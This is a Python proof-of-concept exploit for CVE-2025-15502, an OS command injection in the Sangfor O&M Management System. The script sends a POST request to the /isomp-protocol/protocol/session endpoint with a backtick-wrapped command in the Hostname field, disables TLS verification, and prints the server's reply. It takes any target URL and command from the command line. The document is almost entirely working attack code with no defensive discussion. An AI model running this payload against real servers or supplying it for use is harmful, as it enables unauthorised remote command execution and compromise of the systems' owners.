CVE-2025-15502 Sangfor运维管理系统 SessionController 命令注入漏洞

import requests import sys # CVE-2025-15502 PoC - Sangfor Operation and Maintenance Management System OS Command Injection # Target: Sangfor O&M Management System <= 3.0.8 # Vulnerability: SessionController in /isomp-protocol/protocol/session - OS Command Injection via Hostname parameter def exploit_cve_2025_15502(target_url, command="whoami"): """ Exploit OS command injection vulnerability in Sangfor O&M Management System Args: target_url: Base URL of the vulnerable system command: OS command to execute Returns: Response from the server """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/isomp-protocol/protocol/session" # Prepare malicious Hostname parameter with command injection payload # Using backticks or pipe to inject OS commands injected_hostname = f"`{command}`" # Alternative payload using semicolon # injected_hostname = f"; {command};" # Prepare request data data = { "Hostname": injected_hostname } try: # Send POST request to vulnerable endpoint response = requests.post(endpoint, data=data, timeout=10, verify=False) print(f"[*] Target: {target_url}") print(f"[*] Endpoint: {endpoint}") print(f"[*] Payload: Hostname={injected_hostname}") print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://target.com whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit_cve_2025_15502(target, cmd)